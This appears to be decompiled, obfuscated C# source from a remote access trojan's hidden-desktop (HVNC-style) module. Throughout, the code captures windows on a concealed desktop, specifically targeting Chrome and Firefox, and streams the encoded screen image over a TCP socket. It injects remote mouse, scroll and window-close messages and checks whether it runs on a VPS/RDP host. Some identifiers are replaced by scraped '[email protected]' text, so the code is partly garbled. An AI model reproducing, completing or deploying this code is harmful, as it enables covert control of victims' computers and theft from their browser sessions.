// Token: 0x060000B7 RID: 183 RVA: 0x000055E8 File Offset: 0x000037E8 internal bool ValidateMapper(IntPtr task, IntPtr cust) { if (ParamRuleContainer.IsWindowVisible(task)) { ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver); ParamRuleContainer.GetWindowRect(task, out regParserResolver); if (regParserResolver.QueryMapper() == 0 || regParserResolver.StartMapper() == 0) { return(true); } if (!this.m_Server.status._Task.Contains(task)) { StringBuilder stringBuilder = new StringBuilder(100); ParamRuleContainer.GetClassName(task, stringBuilder, 100); if (stringBuilder.ToString() == "Chrome_WidgetWin_1" && !this.m_Server.status.iterator) { this.m_Server.status.iterator = true; ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u); } else if (stringBuilder.ToString() == "MozillaWindowClass" && !this.m_Server.status._Observer) { this.m_Server.status._Observer = true; ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u); } uint num = (uint)((int)ParamRuleContainer.GetWindowLong(task, -20)); num |= 33554432u; ParamRuleContainer.SetWindowLong(task, -20, (IntPtr)((long)((ulong)num))); this.m_Server.status._Task.Add(task); } [email protected](task); int system = this.m_System; this.m_System = system + 1; } return(true); }
public void StreamAd() { Streaming.DispatcherGetterLicense dispatcherGetterLicense = new Streaming.DispatcherGetterLicense(); dispatcherGetterLicense.status = this; Bitmap bitmap; try { if (Streaming.size.Width == 0 || Streaming.size.Height == 0) { throw new Exception(); } bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb); } catch { Streaming.size = Screen.PrimaryScreen.Bounds.Size; if (Streaming.size.Width == 0 || Streaming.size.Height == 0) { SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP"); this.StopStream = true; return; } bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb); } ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp); Thread.CurrentThread.Priority = ThreadPriority.Highest; dispatcherGetterLicense.@class = new List <IntPtr>(); while (!this.StopStream) { try { Streaming.WrapperMapperImporter wrapperMapperImporter = new Streaming.WrapperMapperImporter(); wrapperMapperImporter.m_Server = dispatcherGetterLicense; wrapperMapperImporter.m_System = 0; ParamRuleContainer.EnumWindows(new ParamRuleContainer.Record(wrapperMapperImporter.ValidateMapper), IntPtr.Zero); for (int i = wrapperMapperImporter.m_System - 1; i >= 0; i--) { ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver); ParamRuleContainer.GetWindowRect(wrapperMapperImporter.m_Server.@class[i], out regParserResolver); if (regParserResolver.QueryMapper() != 0 && regParserResolver.StartMapper() != 0) { if (i != 0) { IntPtr asset = wrapperMapperImporter.m_Server.@class[i - 1]; ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver); ParamRuleContainer.GetWindowRect(asset, out regParserResolver2); if (regParserResolver2.RateMapper() < regParserResolver.RateMapper() && regParserResolver2.DeleteMapper() < regParserResolver.DeleteMapper() && regParserResolver2.SetMapper() > regParserResolver.SetMapper() && regParserResolver2.SortMapper() > regParserResolver.SortMapper()) { goto IL_26E; } } using (Bitmap bitmap2 = new Bitmap(regParserResolver.QueryMapper(), regParserResolver.StartMapper(), PixelFormat.Format24bppRgb)) { using (Graphics graphics = Graphics.FromImage(bitmap2)) { IntPtr hdc = graphics.GetHdc(); ParamRuleContainer.PrintWindow(wrapperMapperImporter.m_Server.@class[i], hdc, 0); graphics.ReleaseHdc(hdc); ParamRuleContainer.DeleteDC(hdc); Graphics graphics2 = Graphics.FromImage(bitmap); graphics2.DrawImage(bitmap2, regParserResolver.RateMapper(), regParserResolver.DeleteMapper()); graphics2.Dispose(); } } } IL_26E :; } BitmapData bitmapData = null; using (MemoryStream memoryStream = new MemoryStream()) { try { bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); if (bitmapData.Scan0 == IntPtr.Zero) { SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP"); continue; } this.StreamCodec.CodeImg(bitmapData, memoryStream); } catch (Exception ex) { SchemaMapper.ReflectContext(ex.ToString()); } if (memoryStream.ToArray().Length > 4) { List <byte> list = memoryStream.ToArray().ToList <byte>(); list = this.AwakeMapper(list.ToArray()).ToList <byte>(); list.AddRange(this.@ref); this.tcpStream.Receive(new byte[1]); this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream); } bitmap.UnlockBits(bitmapData); } GC.Collect(); [email protected](); } catch (Exception ex2) { SchemaMapper.ReflectContext(ex2.ToString()); } } this.StreamCodec.Dispose(); this.StreamCodec = null; this.IncludeMapper(); }
// Token: 0x06000028 RID: 40 RVA: 0x00003CB4 File Offset: 0x00001EB4 private static void WriteContext(object res, int result, int templow) { ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp); StringBuilder stringBuilder = new StringBuilder(1024); Point task = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow); IntPtr intPtr = ParamRuleContainer.WindowFromPoint(task); Parser._Indexer = intPtr; ParamRuleContainer.GetClassName(intPtr, stringBuilder, 1024); ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver); ParamRuleContainer.GetWindowRect(intPtr, out regParserResolver); IntPtr intPtr2 = intPtr; if (stringBuilder.ToString() != "#32768") { while (ParamRuleContainer.GetParent(intPtr2) != IntPtr.Zero) { intPtr2 = ParamRuleContainer.GetParent(intPtr2); } ParamRuleContainer.SetActiveWindow(intPtr2); task.X -= regParserResolver.CalcMapper(); task.Y -= regParserResolver.InitMapper(); } switch (res.contextMapper) { case (Parser.mdToken) 0: { Parser._Algo = true; if (task.Y < 20) { Parser.m_Request = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow); Parser._Stub = ParamRuleContainer.WindowFromPoint(Parser.m_Request); ParamRuleContainer.GetWindowRect(Parser._Stub, out Parser.producer); Parser.m_Request.X = Parser.m_Request.X - Parser.producer.CalcMapper(); Parser.m_Request.Y = Parser.m_Request.Y - Parser.producer.InitMapper(); } ParamRuleContainer.PostMessage(intPtr, 513, 1, ParamRuleContainer.CollectContext(task.X, task.Y)); Point point = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow); ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver); ParamRuleContainer.GetWindowRect(intPtr2, out regParserResolver2); point.X -= regParserResolver2.CalcMapper(); point.Y -= regParserResolver2.InitMapper(); ParamRuleContainer.SetWindowPos(intPtr2, ParamRuleContainer.ResolverProductPage.facade, res.m_GetterMapper - point.X, res.m_PropertyMapper - point.Y, 0, 0, 1u); break; } case (Parser.mdToken) 1: { Parser._Algo = false; Parser._Stub = IntPtr.Zero; int num = ParamRuleContainer.DefWindowProc(intPtr2, (ParamRuleContainer.AdvisorGetterLicense) 132u, IntPtr.Zero, (IntPtr)ParamRuleContainer.CollectContext(task.X + regParserResolver.CalcMapper(), task.Y + regParserResolver.InitMapper())); if (num != 3) { if (num != 9) { if (num == 20) { ParamRuleContainer.PostMessage(intPtr2, 16, 0, 0); } } else { ParamRuleContainer.PostMessage(intPtr2, 274, 61488, 0); } } else { ParamRuleContainer.PostMessage(intPtr2, 16, 0, 0); } ParamRuleContainer.PostMessage(intPtr, 514, 1, ParamRuleContainer.CollectContext(task.X, task.Y)); break; } case (Parser.mdToken) 2: ParamRuleContainer.PostMessage(intPtr, 516, 2, ParamRuleContainer.CollectContext(task.X, task.Y)); break; case (Parser.mdToken) 3: ParamRuleContainer.PostMessage(intPtr, 517, 2, ParamRuleContainer.CollectContext(task.X, task.Y)); break; case (Parser.mdToken) 4: if (Parser._Algo) { ParamRuleContainer.SetWindowPos(Parser._Stub, ParamRuleContainer.ResolverProductPage.facade, res.m_GetterMapper - Parser.m_Request.X, res.m_PropertyMapper - Parser.m_Request.Y, 0, 0, 1u); } ParamRuleContainer.PostMessage(intPtr, 512, 0, ParamRuleContainer.CollectContext(task.X, task.Y)); break; case (Parser.mdToken) 5: ParamRuleContainer.PostMessage(intPtr, 277, 0, 0); break; case (Parser.mdToken) 6: { int res_amount = ParamRuleContainer.GetScrollPos(intPtr, 1) + 20; ParamRuleContainer.SetScrollPos(intPtr, 1, res_amount, IntPtr.Zero); break; } } }